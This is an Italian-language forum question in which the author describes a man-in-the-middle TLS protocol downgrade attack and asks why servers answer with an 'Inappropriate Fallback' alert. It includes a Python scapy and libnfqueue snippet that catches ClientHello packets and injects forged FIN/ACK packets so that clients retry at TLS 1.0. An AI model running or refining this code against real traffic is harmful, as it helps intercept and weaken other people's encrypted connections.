So che non funzionerà su tutti i server perché alcuni non consentono SSLv3
ma ho provato molti server e il mio attacco non sembra funzionare.
Per ora, tento di eseguire il downgrade a TLS 1.0 (riconosciuto anche dal numero 769
nel protocollo).
Ho una configurazione MITM completa con la capacità di intercettare i pacchetti come il mio desiderio. Ora, ho uno script che filtra i pacchetti per me e così ogni volta che la vittima (anche se è solo un mio dispositivo personale) prova a inviare un ClientHello
, controllo la versione della conversazione che sta tentando di avviare - se il numero è maggiore di 769 (TLS 1.0) invio un messaggio FIN, ACK
nel nome del server.
Ora, il client tenta di connettersi di nuovo ma questa volta con una versione più bassa e così via - fino a raggiungere TLS 1.0 (769) e poi accetto il pacchetto e lascia che la connessione continui.
Il problema è che il server invia Alert (Level: Fatal, Description: Inappropriate Fallback)
in risposta. Questo ha a che fare con il server che non supporta TLSv1? Perché ho difficoltà a credere che un server decente in questi giorni non supporti TLSv1.
Ora, nell'articolo che ho citato, mostrano che hanno fatto il downgrade di Facebook. Per qualche motivo, non funziona nel mio setup - ecco il mio setup (sto usando libnfqueue
e scapy
):
def print_and_accept(pkt):
spkt = IP(pkt.get_payload())
if re.search('\x16\x03\x01.{2}\x01', str(spkt), flags=0): #Checking for TLS Client Hello
if spkt[TLSClientHello].version > 769: #tlsv1 - although should actually be sslv3, not tlsv1
new_packet = IP(dst=spkt[IP].dst, src=spkt[IP].src)/TCP() #FIN, ACK packet
new_packet[TCP].sport = spkt[TCP].sport
new_packet[TCP].dport = spkt[TCP].dport
new_packet[TCP].seq = spkt[TCP].seq
new_packet[TCP].ack = spkt[TCP].ack
new_packet[TCP].flags = 'FA' #Setting flags to fin, ack
pkt.set_payload(str(new_packet))
pkt.accept()